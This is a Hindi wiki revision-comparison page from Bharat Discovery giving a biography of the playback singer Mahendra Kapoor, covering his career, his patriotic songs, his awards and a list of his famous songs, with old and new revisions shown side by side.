"महेन्द्र कपूर": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
(''''महेन्द्र कपूर''' (जन्म- 9 जनवरी, 1932, पंजाब; मृत्यु- [[27...' के साथ नया पन्ना बनाया)
 
छो (Text replacement - "रूख " to "रुख़")
 
(5 सदस्यों द्वारा किए गए बीच के 21 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
'''महेन्द्र कपूर''' (जन्म- [[9 जनवरी]], [[1932]], [[पंजाब]]; मृत्यु- [[27 सितम्बर]], [[2008]]) [[भारत]] के एक ऐसे गायक, जिनके गाये हुए गीत आज भी लोगों की जुबान पर रहते हैं। अपने गीतों से कई पीढ़ियों को सम्मोहित करने वाले बहुमुखी प्रतिभा के धनी महेंद्र कपूर [[हिन्दी]] फिल्म संगीत के स्वर्णकाल की प्रमुख हस्तियों में से एक थे और जब भी देशभक्ति गीतों का जिक्र होता है, लोगों के जेहन में सबसे पहला नाम उनका ही आता है। उनके गाये हुए देशभक्ति गीत लोगों को देश के लिए कुछ कर गुजरने की भावना से भर देने की अपूर्व क्षमता रखते हैं। 'मेरे देश की धरती सोना उगले...', 'भारत का रहने वाला हूँ...', 'अबके बरस तुझे धरती की...' जैसे गीतों के साथ देशभक्ति गीतों का पर्याय बन गए महेंद्र कपूर ने अपने चार दशक के फिल्मी सफर में क़रीब 25 हज़ार गीत गाए। उनकी प्रतिभा सिर्फ़ हिन्दी तक ही सीमित नहीं थी, बल्कि उन्होंने [[पंजाबी भाषा|पंजाबी]], [[मराठी भाषा|मराठी]], [[भोजपुरी भाषा|भोजपुरी]] आदि क्षेत्रीय भाषाओं के गीतों को भी स्वर दिया।
{{सूचना बक्सा कलाकार
|चित्र=Mahendra-Kapoor.jpg
|चित्र का नाम=महेन्द्र कपूर
|पूरा नाम=
|प्रसिद्ध नाम=
|अन्य नाम=
|जन्म=[[9 जनवरी]], [[1934]]
|जन्म भूमि=[[अमृतसर]] ([[पंजाब]])
|मृत्यु=[[27 सितम्बर]], [[2008]]
|मृत्यु स्थान=[[मुंबई]]
|अभिभावक=
|पति/पत्नी=
|संतान=तीन पुत्रियाँ व एक पुत्र (रोहन कपूर)
|कर्म भूमि=[[मुंबई]]
|कर्म-क्षेत्र=गायक
|मुख्य रचनाएँ=
|मुख्य फ़िल्में=
|विषय=
|शिक्षा=
|विद्यालय=
|पुरस्कार-उपाधि='[[राष्ट्रीय फ़िल्म पुरस्कार]]' ([[1968]]), 'फ़िल्म फ़ेयर अवार्ड' ([[1964]], [[1968]], [[1975]]), '[[लता मंगेशकर पुरस्कार]]', '[[पद्मश्री]]'
|प्रसिद्धि=देशभक्ति गीतों के लिए प्रसिद्ध
|विशेष योगदान=
|नागरिकता=भारतीय
|संबंधित लेख=
|शीर्षक 1=
|पाठ 1=
|शीर्षक 2=
|पाठ 2=
|अन्य जानकारी=कैरियर के पूर्व ही आपने 'मेट्रो मर्फ़ी ऑल इंडिया गायन प्रतियोगिता' जीती थी। [[1957]] में इस प्रतियोगिता के जज संगीतकार [[नौशाद अली]] थे, जिन्होंने फ़िल्म 'सोहनी महिवाल' के गीत 'चांद छुपा और तारे डूबे' को महेन्द्र जी की आवाज़ में रिकॉर्ड किया।
|बाहरी कड़ियाँ=
|अद्यतन=
}}
'''महेन्द्र कपूर''' ([[अंग्रेज़ी]]: ''Mahendra Kapoor'', जन्म- [[9 जनवरी]], [[1934]], [[पंजाब]]; मृत्यु- [[27 सितम्बर]], [[2008]], [[मुंबई]]) [[भारत]] के एक ऐसे गायक, जिनके गाये हुए गीत आज भी लोगों की जुबान पर रहते हैं। अपने गीतों से कई पीढ़ियों को सम्मोहित करने वाले बहुमुखी प्रतिभा के धनी महेन्द्र कपूर [[हिन्दी]] फ़िल्म संगीत के स्वर्णकाल की प्रमुख हस्तियों में से एक थे और जब भी देशभक्ति के गीतों का ज़िक्र होता है, लोगों के जेहन में सबसे पहला नाम उनका ही आता है। उनके गाये हुए देशभक्ति गीत लोगों को देश के लिए कुछ कर गुजरने की भावना से भर देने की अपूर्व क्षमता रखते हैं। 'मेरे देश की धरती सोना उगले...', 'भारत का रहने वाला हूँ...', 'अबके बरस तुझे धरती की...' जैसे गीतों के साथ देशभक्ति गीतों का पर्याय बन गए महेन्द्र कपूर ने अपने चार दशक के फ़िल्मी सफर में क़रीब 25 हज़ार गीत गाए। उनकी प्रतिभा सिर्फ़ [[हिन्दी]] तक ही सीमित नहीं थी, बल्कि उन्होंने [[पंजाबी भाषा|पंजाबी]], [[मराठी भाषा|मराठी]], [[भोजपुरी भाषा|भोजपुरी]] आदि क्षेत्रीय भाषाओं के गीतों को भी स्वर दिया।
==मुंबई आगमन==
==मुंबई आगमन==
महेंद्र कपूर का जन्म 9 जनवरी, 1934 को [[अमृतसर]] (पंजाब) में हुआ था। गायकी के क्षेत्र में कैरियर बनाने के लिए उन्होंने जल्द ही अमृतसर से [[मुंबई]] का रूख कर लिया। बचपन से ही महेंद्र कपूर महान गायक [[मोहम्मद रफ़ी]] से बहुत प्रभावित थे। वे एक तरह से मोहम्मद रफ़ी के शागिर्द थे और उनके प्रति उनके मन में अपार श्रद्धा थी। शायद यही वजह है कि कई बार उनके गानों में ख़ासकर शुरुआती दौर के उनके गानों में रफ़ी के प्रभाव की साफ झलक मिलती है। उनकी दिली इच्छा थी कि वह हिन्दी फिल्मों में गायें। शुरुआत में महेंद्र कपूर ने शास्त्रीय संगीत की तालीम प्राप्त की थी। उन्होंने शास्त्रीय गायन और संगीत की शिक्षा पंडित हुस्नलाल, पंडित जगन्नाथ बुआ, उस्ताद नियाज अहमद ख़ान, अब्दुल रहमान ख़ान और तुलसीदास शर्मा से ली थी।
महेन्द्र कपूर का जन्म 9 जनवरी, 1934 को [[अमृतसर]] ([[पंजाब]]) में हुआ था। गायकी के क्षेत्र में कैरियर बनाने के लिए उन्होंने जल्द ही अमृतसर से [[मुंबई]] का रुख़कर लिया। बचपन से ही महेन्द्र कपूर महान् गायक [[मोहम्मद रफ़ी]] से बहुत प्रभावित थे। वे एक तरह से मोहम्मद रफ़ी के शागिर्द थे और उनके प्रति उनके मन में अपार श्रद्धा थी। शायद यही वजह है कि कई बार उनके गानों में ख़ासकर शुरुआती दौर के उनके गानों में रफ़ी के प्रभाव की साफ़ झलक मिलती है। उनकी दिली इच्छा थी कि वह हिन्दी फ़िल्मों में गायें। शुरुआत में महेन्द्र कपूर ने शास्त्रीय संगीत की तालीम प्राप्त की थी। उन्होंने शास्त्रीय गायन और संगीत की शिक्षा पंडित हुस्नलाल, पंडित जगन्नाथ बुआ, उस्ताद नियाज अहमद ख़ान, अब्दुल रहमान ख़ान और तुलसीदास शर्मा से ली थी।
====गायकी की शुरुआत====
====गायकी की शुरुआत====
उनके जीवन में प्रमुख मोड़ उस समय आया, जब उन्होंने 'मेट्रो मर्फी ऑल इंडिया गायन प्रतियोगिता' जीत ली। [[1957]] में हुई इस प्रतियोगिता के जज संगीतकार नौशाद अली थे, जिन्होंने फिल्म 'सोहनी महिवाल' के गीत 'चांद छुपा और तारे डूबे' को महेन्द्र कपूर की आवाज़ में रिकॉर्ड किया। इसके बाद उनको वी. शांताराम की फिल्म 'नवरंग' में गाने को मौका मिला। इस फिल्म में उन्होंने "आधा है चंद्रमा रात आधी" गीत गाया था, जो कि कामयाब रहा। सी. रामचंद्र के [[संगीत]] से सजे इस गीत ने महेन्द्र कपूर के पाँव फिल्म जगत में मजबूती से जमा दिए। इसके बाद उन्होंने 'भारत कुमार' के नाम से मशहूर [[मनोज कुमार]] और बी. आर. चोपड़ा के बैनर तले बनी अधिकतर फिल्मों के गीतों के लिए भी आवाज़ दी। एक समय महेंद्र कपूर की आवाज़ 'भारत की जीवंत आवाज' कहलाती थी। देशभक्ति गीतों का ख्याल आते ही सबसे पहला नाम उनका ही आता था, लेकिन 'चलो एक बार फिर से' और 'किसी पत्थर की मूरत से' उनके गानों में विविधता प्रदर्शित होती है। इसके अलावा वह पहले भारतीय गायक थे, जिसने कोई [[अंग्रेज़ी]] गाना रिकॉर्ड किया था। यही नहीं महेंद्र कपूर ने लगभग सभी भाषाओं में 25,000 से भी ज़्यादा गाने गाए।
उनके जीवन में प्रमुख मोड़ उस समय आया, जब उन्होंने 'मेट्रो मर्फी ऑल इंडिया गायन प्रतियोगिता' जीत ली। [[1957]] में हुई इस प्रतियोगिता के जज संगीतकार [[नौशाद अली]] थे, जिन्होंने फ़िल्म 'सोहनी महिवाल' के गीत 'चांद छुपा और तारे डूबे' को महेन्द्र कपूर की आवाज़ में रिकॉर्ड किया। इसके बाद उनको [[वी. शांताराम]] की फ़िल्म 'नवरंग' में गाने को मौका मिला। इस फ़िल्म में उन्होंने "आधा है चंद्रमा रात आधी" गीत गाया था, जो कि कामयाब रहा। [[सी. रामचंद्र]] के [[संगीत]] से सजे इस गीत ने महेन्द्र कपूर के पाँव फ़िल्म जगत् में मजबूती से जमा दिए। इसके बाद उन्होंने 'भारत कुमार' के नाम से मशहूर [[मनोज कुमार]] और [[बी. आर. चोपड़ा]] के बैनर तले बनी अधिकतर फ़िल्मों के गीतों के लिए भी आवाज़ दी। एक समय महेन्द्र कपूर की आवाज़ 'भारत की जीवंत आवाज' कहलाती थी। देशभक्ति गीतों का ख्याल आते ही सबसे पहला नाम उनका ही आता था, लेकिन 'चलो एक बार फिर से' और 'किसी पत्थर की मूरत से' गाने से उनके गानों में विविधता प्रदर्शित होती है। इसके अलावा वह पहले भारतीय गायक थे, जिसने कोई [[अंग्रेज़ी]] गाना रिकॉर्ड किया था। यही नहीं महेन्द्र कपूर ने लगभग सभी भाषाओं में 25,000 से भी ज़्यादा गाने गाए।
==सफलता==
==सफलता==
सदैव मस्त नगमे सुनाने का वादा करने वाले महेन्द्र कपूर अगले कई दशक तक संगीत प्रेमियों को अपनी आवाज से मोहित करते रहे। उन्होंने जब फिल्मी जगत में पदार्पण किया, वह [[हिन्दी]] फिल्म संगीत का स्वर्णकाल था और पार्श्व गायकों में [[मोहम्मद रफ़ी|मोहम्मद रफ़ी]], [[मुकेश]], [[मन्ना डे]], हेमंत कुमार और तलत महमूद जैसे कई बड़े नाम पहले से ही स्थापित थे। ऐसे में नई प्रतिभा के लिए राह बनाना आसान नहीं था। यह एक कठिन चुनौती थी, लेकिन धुन के पक्के और 'पुरुषार्थ' से भरे कपूर ने न सिर्फ़ अपनी अलग पहचान बनाई, बल्कि पार्श्व गायन की विविधता को नये आयाम भी प्रदान किए। महेन्द्र कपूर के परिवार में पत्नी, तीन पुत्रियाँ और एक बेटा रोहन कपूर है। उनके पुत्र ने भी हिन्दी फ़िल्मों 'फ़ासले' और 'लव86' में काम किया, लेकिन वे सफल नहीं हो सके।
[[चित्र:Mahendra-Kapoor-1.jpg|thumb|250px|महेन्द्र कपूर]]
सदैव मस्त नगमे सुनाने का वादा करने वाले महेन्द्र कपूर अगले कई दशक तक संगीत प्रेमियों को अपनी आवाज से मोहित करते रहे। उन्होंने जब फ़िल्मी जगत् में पदार्पण किया, वह [[हिन्दी]] फ़िल्म संगीत का स्वर्णकाल था और पार्श्व गायकों में [[मोहम्मद रफ़ी|मोहम्मद रफ़ी]], [[मुकेश]], [[मन्ना डे]], [[हेमंत कुमार]] और [[तलत महमूद]] जैसे कई बड़े नाम पहले से ही स्थापित थे। ऐसे में नई प्रतिभा के लिए राह बनाना आसान नहीं था। यह एक कठिन चुनौती थी, लेकिन धुन के पक्के और 'पुरुषार्थ' से भरे कपूर ने न सिर्फ़ अपनी अलग पहचान बनाई, बल्कि पार्श्व गायन की विविधता को नये आयाम भी प्रदान किए। महेन्द्र कपूर के परिवार में पत्नी, तीन पुत्रियाँ और एक बेटा रोहन कपूर है। उनके पुत्र ने भी हिन्दी फ़िल्मों 'फ़ासले' और 'लव86' में काम किया, लेकिन वे सफल नहीं हो सके।
====मनोज कुमार से जोड़ी====
====मनोज कुमार से जोड़ी====
निर्माता-निर्देशक बी. आर. चोपड़ा की फिल्मों 'धूल का फूल', 'गुमराह', 'वक्त', 'हमराज' और 'धुंध' आदि में गाये हुए महेन्द्र कपूर के गीत बेहद लोकप्रिय हुए। देशभक्ति फ़िल्मों से अपनी अलग पहचान बनाने वाले [[मनोज कुमार]] के साथ उनकी वैसी ही जोड़ी बनी, जैसी [[राजकपूर]] के लिए मुकेश की थी। मनोज कुमार के लिए उन्होंने कई फिल्मों में पार्श्व गायन किया, जिनमें 'उपकार', 'पूरब और पश्चिम', 'क्रांति', 'रोटी कपड़ा और मकान' आदि शामिल हैं। उन्होंने 'भारत कुमार' उर्फ 'मनोज कुमार' के अलावा [[दिलीप कुमार]], [[राजकुमार]], [[राजेंद्र कुमार]], [[सुनील दत्त]], [[धर्मेंद्र]], विश्वजीत और राज बब्बर आदि अभिनेताओं के लिए भी पार्श्व गायन किया। बी. आर. चोपड़ा से उनका साथ टीवी धारावाहिक 'महाभारत' में भी रहा। धारावाहिक महाभारत के शीर्षक गीत को महेंद्र कपूर ने ही स्वर दिया था। धारावाहिक के प्रारम्भ से ही महेन्द्र कपूर की आवाज़ से सजे [[श्लोक]] आदि दर्शकों को टीवी के सामने बाँधे रखने में बेहद सफल हुए।  
निर्माता-निर्देशक बी. आर. चोपड़ा की फ़िल्मों 'धूल का फूल', 'गुमराह', 'वक्त', 'हमराज' और 'धुंध' आदि में गाये हुए महेन्द्र कपूर के गीत बेहद लोकप्रिय हुए। देशभक्ति फ़िल्मों से अपनी अलग पहचान बनाने वाले [[मनोज कुमार]] के साथ उनकी वैसी ही जोड़ी बनी, जैसी [[राजकपूर]] के लिए [[मुकेश]] की थी। मनोज कुमार के लिए उन्होंने कई फ़िल्मों में पार्श्व गायन किया, जिनमें 'उपकार', 'पूरब और पश्चिम', 'क्रांति', 'रोटी कपड़ा और मकान' आदि शामिल हैं। उन्होंने 'भारत कुमार' उर्फ 'मनोज कुमार' के अलावा [[दिलीप कुमार]], [[राजकुमार]], [[राजेंद्र कुमार]], [[सुनील दत्त]], [[धर्मेंद्र]], [[विश्वजीत चटर्जी|विश्वजीत]] और राज बब्बर आदि अभिनेताओं के लिए भी पार्श्व गायन किया। बी. आर. चोपड़ा से उनका साथ टीवी धारावाहिक 'महाभारत' में भी रहा। धारावाहिक महाभारत के शीर्षक गीत को महेन्द्र कपूर ने ही स्वर दिया था। धारावाहिक के प्रारम्भ से ही महेन्द्र कपूर की आवाज़ से सजे [[श्लोक]] आदि दर्शकों को टी.वी. के सामने बाँधे रखने में बेहद सफल हुए।  
====विभिन्न संगीतकारों के साथ काम====
====विभिन्न संगीतकारों के साथ काम====
महेंद्र कपूर ने दादा कोंडके के लिए उनकी अधिकतर [[मराठी भाषा|मराठी]] फिल्मों में भी गीत गाए। उन्होंने सी. रामचंद्र, ओपी नय्यर, कल्याणजी-आनंदजी और [[लक्ष्मीकांत]]-प्यारेलाल जैसे विभिन्न संगीतकारों के साथ काम किया। लेकिन उनकी विशेष जोड़ी रवि के साथ बनी। उन्होंने रवि के साथ मिलकर कई हिट गीत दिए। इन गीतों में 'चलो एक बार फिर से अजनबी बन जाएँ...', 'नीले गगन के तले...', 'तुम अगर साथ देने का वादा करो...' और 'किसी पत्थर की मूरत से' आदि गीत शामिल हैं।
महेन्द्र कपूर ने दादा कोंडके के लिए उनकी अधिकतर [[मराठी भाषा|मराठी]] फ़िल्मों में भी गीत गाए। उन्होंने [[सी. रामचंद्र]], ओ.पी. नैय्यर, कल्याणजी-आनंदजी और [[लक्ष्मीकांत]]-प्यारेलाल जैसे विभिन्न संगीतकारों के साथ काम किया। लेकिन उनकी विशेष जोड़ी रवि के साथ बनी। उन्होंने रवि के साथ मिलकर कई हिट गीत दिए। इन गीतों में 'चलो एक बार फिर से अजनबी बन जाएँ...', 'नीले गगन के तले...', 'तुम अगर साथ देने का वादा करो...' और 'किसी पत्थर की मूरत से' आदि गीत शामिल हैं।
==पुरस्कार व सम्मान==
अपने लम्बे कैरियर में महेन्द्र कपूर ने कई पुरस्कार प्राप्त किये। सन [[1968]] में 'उपकार' फिल्म के गीत "मेरे देश की धरती सोना उगले" के लिए महेन्द्र कपूर को 'राष्ट्रीय फिल्म पुरस्कार' मिला था। इसके अतिरिक्त [[1964]], [[1968]] और [[1975]] में उनको 'फिल्म फ़ेयर अवार्ड' से भी सम्मानित किया गया। इसके अलावा [[महाराष्ट्र]] की सरकार ने उन्हें 'लता मंगेशकर पुरस्कार' से भी सम्मानित किया। देश-विदेश में उन्होंने अनेक चेरिटी शो किए। [[सुनील दत्त]] और [[नर्गिस]] के साथ सीमा पर तैनात फौजी जवानों के लिए उन्होंने कार्यक्रम दिए। भारत सरकार ने उन्हें सर्वोच्च नागरिक सम्मान 'पद्मश्री' प्रदान करके इस गायक का मान बढ़ाया।
====निधन====
[[28 सितंबर]], [[2008]] को 74 वर्ष की आयु में दिल का दौरा पड़ने से महेंद्र कपूर का निधन हो गया, लेकिन आज भी उनके सदाबहार नगमें कानों में मिश्री घोलते हैं। आज भले ही महेन्द्र कपूर हमारे बीच नहीं है, लेकिन वे एक ऐसी विरासत छोड़कर गए हैं, जहाँ उनकी आवाज़ का जादू हमेशा बना रहेगा।
==प्रसिद्ध गीत==
==प्रसिद्ध गीत==
वैसे तो महेन्द्र कपूर ने अपने कैरियर में हज़ारों गीत गाये, लेकिन निम्नलिखित कुछ गीत ऐसे हैं, जिन्होंने उन्हें अमर बना दिया-
वैसे तो महेन्द्र कपूर ने अपने कैरियर में हज़ारों गीत गाये, लेकिन निम्नलिखित कुछ गीत ऐसे हैं, जिन्होंने उन्हें अमर बना दिया-
पंक्ति 20: पंक्ति 50:
#चलो एक बार फिर से अजनबी बन जाएँ - गुमराह
#चलो एक बार फिर से अजनबी बन जाएँ - गुमराह
#तेरे प्यार का आसरा चाहता हूँ - धूल का फूल
#तेरे प्यार का आसरा चाहता हूँ - धूल का फूल
#मेरे देश की धरती सोना उगले - उपकार
#[[मेरे देश की धरती|मेरे देश की धरती सोना उगले]] - उपकार
#मेरा रंग दे बसंती चोला  
#[[मेरा रंग दे बसंती चोला]] - शहीद ([[1965]])
#है प्रीत जहाँ की रीत सदा - पूरब और पश्चिम
#[[है प्रीत जहाँ की रीत सदा]] - पूरब और पश्चिम
#अब के बरस तुझे - क्रांति
#अब के बरस तुझे - क्रांति
#नीले गगन के तले - हमराज
#नीले गगन के तले - हमराज
#किसी पत्थर की मूरत से - हमराज
#किसी पत्थर की मूरत से - हमराज
#फकीरा चल चला - फकीरा
#फकीरा चल चला - फ़कीरा
==पुरस्कार व सम्मान==
अपने लम्बे कैरियर में महेन्द्र कपूर ने कई पुरस्कार प्राप्त किये। सन [[1968]] में 'उपकार' फ़िल्म के गीत "मेरे देश की धरती सोना उगले" के लिए महेन्द्र कपूर को 'राष्ट्रीय फ़िल्म पुरस्कार' मिला था। इसके अतिरिक्त [[1964]], [[1968]] और [[1975]] में उनको 'फ़िल्म फ़ेयर अवार्ड' से भी सम्मानित किया गया। इसके अलावा [[महाराष्ट्र]] की सरकार ने उन्हें '[[लता मंगेशकर सम्मान|लता मंगेशकर पुरस्कार]]' से भी सम्मानित किया। देश-विदेश में उन्होंने अनेक चेरिटी शो किए। [[सुनील दत्त]] और [[नर्गिस]] के साथ सीमा पर तैनात फौजी जवानों के लिए उन्होंने कार्यक्रम दिए। भारत सरकार ने उन्हें सर्वोच्च नागरिक सम्मान '[[पद्मश्री]]' प्रदान करके इस गायक का मान बढ़ाया।
====निधन====
[[27 सितंबर]], [[2008]] को 74 वर्ष की आयु में दिल का दौरा पड़ने से महेन्द्र कपूर का निधन हो गया, लेकिन आज भी उनके सदाबहार नगमें कानों में मिश्री घोलते हैं। आज भले ही महेन्द्र कपूर हमारे बीच नहीं है, लेकिन वे एक ऐसी विरासत छोड़कर गए हैं, जहाँ उनकी आवाज़ का जादू हमेशा बना रहेगा।
 


{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3|माध्यमिक= |पूर्णता= |शोध= }}
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==
<references/>
<references/>
==संबंधित लेख==
==संबंधित लेख==
{{पार्श्वगायक}}
{{पार्श्वगायक}}
[[Category:गायक]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:चरित कोश]][[Category:संगीत_कोश]][[Category:कला कोश]][[Category:जीवनी साहित्य]]
[[Category:गायक]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:पद्म श्री]][[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:चरित कोश]][[Category:संगीत_कोश]][[Category:कला कोश]][[Category:जीवनी साहित्य]]
__INDEX__
__INDEX__
__NOTOC__

08:52, 3 फ़रवरी 2021 के समय का अवतरण

महेन्द्र कपूर
महेन्द्र कपूर
महेन्द्र कपूर
जन्म 9 जनवरी, 1934
जन्म भूमि अमृतसर (पंजाब)
मृत्यु 27 सितम्बर, 2008
मृत्यु स्थान मुंबई
संतान तीन पुत्रियाँ व एक पुत्र (रोहन कपूर)
कर्म भूमि मुंबई
कर्म-क्षेत्र गायक
पुरस्कार-उपाधि 'राष्ट्रीय फ़िल्म पुरस्कार' (1968), 'फ़िल्म फ़ेयर अवार्ड' (1964, 1968, 1975), 'लता मंगेशकर पुरस्कार', 'पद्मश्री'
प्रसिद्धि देशभक्ति गीतों के लिए प्रसिद्ध
नागरिकता भारतीय
अन्य जानकारी कैरियर के पूर्व ही आपने 'मेट्रो मर्फ़ी ऑल इंडिया गायन प्रतियोगिता' जीती थी। 1957 में इस प्रतियोगिता के जज संगीतकार नौशाद अली थे, जिन्होंने फ़िल्म 'सोहनी महिवाल' के गीत 'चांद छुपा और तारे डूबे' को महेन्द्र जी की आवाज़ में रिकॉर्ड किया।

महेन्द्र कपूर (अंग्रेज़ी: Mahendra Kapoor, जन्म- 9 जनवरी, 1934, पंजाब; मृत्यु- 27 सितम्बर, 2008, मुंबई) भारत के एक ऐसे गायक, जिनके गाये हुए गीत आज भी लोगों की जुबान पर रहते हैं। अपने गीतों से कई पीढ़ियों को सम्मोहित करने वाले बहुमुखी प्रतिभा के धनी महेन्द्र कपूर हिन्दी फ़िल्म संगीत के स्वर्णकाल की प्रमुख हस्तियों में से एक थे और जब भी देशभक्ति के गीतों का ज़िक्र होता है, लोगों के जेहन में सबसे पहला नाम उनका ही आता है। उनके गाये हुए देशभक्ति गीत लोगों को देश के लिए कुछ कर गुजरने की भावना से भर देने की अपूर्व क्षमता रखते हैं। 'मेरे देश की धरती सोना उगले...', 'भारत का रहने वाला हूँ...', 'अबके बरस तुझे धरती की...' जैसे गीतों के साथ देशभक्ति गीतों का पर्याय बन गए महेन्द्र कपूर ने अपने चार दशक के फ़िल्मी सफर में क़रीब 25 हज़ार गीत गाए। उनकी प्रतिभा सिर्फ़ हिन्दी तक ही सीमित नहीं थी, बल्कि उन्होंने पंजाबी, मराठी, भोजपुरी आदि क्षेत्रीय भाषाओं के गीतों को भी स्वर दिया।

मुंबई आगमन

महेन्द्र कपूर का जन्म 9 जनवरी, 1934 को अमृतसर (पंजाब) में हुआ था। गायकी के क्षेत्र में कैरियर बनाने के लिए उन्होंने जल्द ही अमृतसर से मुंबई का रुख़कर लिया। बचपन से ही महेन्द्र कपूर महान् गायक मोहम्मद रफ़ी से बहुत प्रभावित थे। वे एक तरह से मोहम्मद रफ़ी के शागिर्द थे और उनके प्रति उनके मन में अपार श्रद्धा थी। शायद यही वजह है कि कई बार उनके गानों में ख़ासकर शुरुआती दौर के उनके गानों में रफ़ी के प्रभाव की साफ़ झलक मिलती है। उनकी दिली इच्छा थी कि वह हिन्दी फ़िल्मों में गायें। शुरुआत में महेन्द्र कपूर ने शास्त्रीय संगीत की तालीम प्राप्त की थी। उन्होंने शास्त्रीय गायन और संगीत की शिक्षा पंडित हुस्नलाल, पंडित जगन्नाथ बुआ, उस्ताद नियाज अहमद ख़ान, अब्दुल रहमान ख़ान और तुलसीदास शर्मा से ली थी।

गायकी की शुरुआत

उनके जीवन में प्रमुख मोड़ उस समय आया, जब उन्होंने 'मेट्रो मर्फी ऑल इंडिया गायन प्रतियोगिता' जीत ली। 1957 में हुई इस प्रतियोगिता के जज संगीतकार नौशाद अली थे, जिन्होंने फ़िल्म 'सोहनी महिवाल' के गीत 'चांद छुपा और तारे डूबे' को महेन्द्र कपूर की आवाज़ में रिकॉर्ड किया। इसके बाद उनको वी. शांताराम की फ़िल्म 'नवरंग' में गाने को मौका मिला। इस फ़िल्म में उन्होंने "आधा है चंद्रमा रात आधी" गीत गाया था, जो कि कामयाब रहा। सी. रामचंद्र के संगीत से सजे इस गीत ने महेन्द्र कपूर के पाँव फ़िल्म जगत् में मजबूती से जमा दिए। इसके बाद उन्होंने 'भारत कुमार' के नाम से मशहूर मनोज कुमार और बी. आर. चोपड़ा के बैनर तले बनी अधिकतर फ़िल्मों के गीतों के लिए भी आवाज़ दी। एक समय महेन्द्र कपूर की आवाज़ 'भारत की जीवंत आवाज' कहलाती थी। देशभक्ति गीतों का ख्याल आते ही सबसे पहला नाम उनका ही आता था, लेकिन 'चलो एक बार फिर से' और 'किसी पत्थर की मूरत से' गाने से उनके गानों में विविधता प्रदर्शित होती है। इसके अलावा वह पहले भारतीय गायक थे, जिसने कोई अंग्रेज़ी गाना रिकॉर्ड किया था। यही नहीं महेन्द्र कपूर ने लगभग सभी भाषाओं में 25,000 से भी ज़्यादा गाने गाए।

सफलता

महेन्द्र कपूर

सदैव मस्त नगमे सुनाने का वादा करने वाले महेन्द्र कपूर अगले कई दशक तक संगीत प्रेमियों को अपनी आवाज से मोहित करते रहे। उन्होंने जब फ़िल्मी जगत् में पदार्पण किया, वह हिन्दी फ़िल्म संगीत का स्वर्णकाल था और पार्श्व गायकों में मोहम्मद रफ़ी, मुकेश, मन्ना डे, हेमंत कुमार और तलत महमूद जैसे कई बड़े नाम पहले से ही स्थापित थे। ऐसे में नई प्रतिभा के लिए राह बनाना आसान नहीं था। यह एक कठिन चुनौती थी, लेकिन धुन के पक्के और 'पुरुषार्थ' से भरे कपूर ने न सिर्फ़ अपनी अलग पहचान बनाई, बल्कि पार्श्व गायन की विविधता को नये आयाम भी प्रदान किए। महेन्द्र कपूर के परिवार में पत्नी, तीन पुत्रियाँ और एक बेटा रोहन कपूर है। उनके पुत्र ने भी हिन्दी फ़िल्मों 'फ़ासले' और 'लव86' में काम किया, लेकिन वे सफल नहीं हो सके।

मनोज कुमार से जोड़ी

निर्माता-निर्देशक बी. आर. चोपड़ा की फ़िल्मों 'धूल का फूल', 'गुमराह', 'वक्त', 'हमराज' और 'धुंध' आदि में गाये हुए महेन्द्र कपूर के गीत बेहद लोकप्रिय हुए। देशभक्ति फ़िल्मों से अपनी अलग पहचान बनाने वाले मनोज कुमार के साथ उनकी वैसी ही जोड़ी बनी, जैसी राजकपूर के लिए मुकेश की थी। मनोज कुमार के लिए उन्होंने कई फ़िल्मों में पार्श्व गायन किया, जिनमें 'उपकार', 'पूरब और पश्चिम', 'क्रांति', 'रोटी कपड़ा और मकान' आदि शामिल हैं। उन्होंने 'भारत कुमार' उर्फ 'मनोज कुमार' के अलावा दिलीप कुमार, राजकुमार, राजेंद्र कुमार, सुनील दत्त, धर्मेंद्र, विश्वजीत और राज बब्बर आदि अभिनेताओं के लिए भी पार्श्व गायन किया। बी. आर. चोपड़ा से उनका साथ टीवी धारावाहिक 'महाभारत' में भी रहा। धारावाहिक महाभारत के शीर्षक गीत को महेन्द्र कपूर ने ही स्वर दिया था। धारावाहिक के प्रारम्भ से ही महेन्द्र कपूर की आवाज़ से सजे श्लोक आदि दर्शकों को टी.वी. के सामने बाँधे रखने में बेहद सफल हुए।

विभिन्न संगीतकारों के साथ काम

महेन्द्र कपूर ने दादा कोंडके के लिए उनकी अधिकतर मराठी फ़िल्मों में भी गीत गाए। उन्होंने सी. रामचंद्र, ओ.पी. नैय्यर, कल्याणजी-आनंदजी और लक्ष्मीकांत-प्यारेलाल जैसे विभिन्न संगीतकारों के साथ काम किया। लेकिन उनकी विशेष जोड़ी रवि के साथ बनी। उन्होंने रवि के साथ मिलकर कई हिट गीत दिए। इन गीतों में 'चलो एक बार फिर से अजनबी बन जाएँ...', 'नीले गगन के तले...', 'तुम अगर साथ देने का वादा करो...' और 'किसी पत्थर की मूरत से' आदि गीत शामिल हैं।

प्रसिद्ध गीत

वैसे तो महेन्द्र कपूर ने अपने कैरियर में हज़ारों गीत गाये, लेकिन निम्नलिखित कुछ गीत ऐसे हैं, जिन्होंने उन्हें अमर बना दिया-

  1. तुम अगर साथ देने का वादा करो - हमराज
  2. लाखों हैं यहाँ दिल वाले पर प्यार नहीं मिलता - किस्मत
  3. चलो एक बार फिर से अजनबी बन जाएँ - गुमराह
  4. तेरे प्यार का आसरा चाहता हूँ - धूल का फूल
  5. मेरे देश की धरती सोना उगले - उपकार
  6. मेरा रंग दे बसंती चोला - शहीद (1965)
  7. है प्रीत जहाँ की रीत सदा - पूरब और पश्चिम
  8. अब के बरस तुझे - क्रांति
  9. नीले गगन के तले - हमराज
  10. किसी पत्थर की मूरत से - हमराज
  11. फकीरा चल चला - फ़कीरा

पुरस्कार व सम्मान

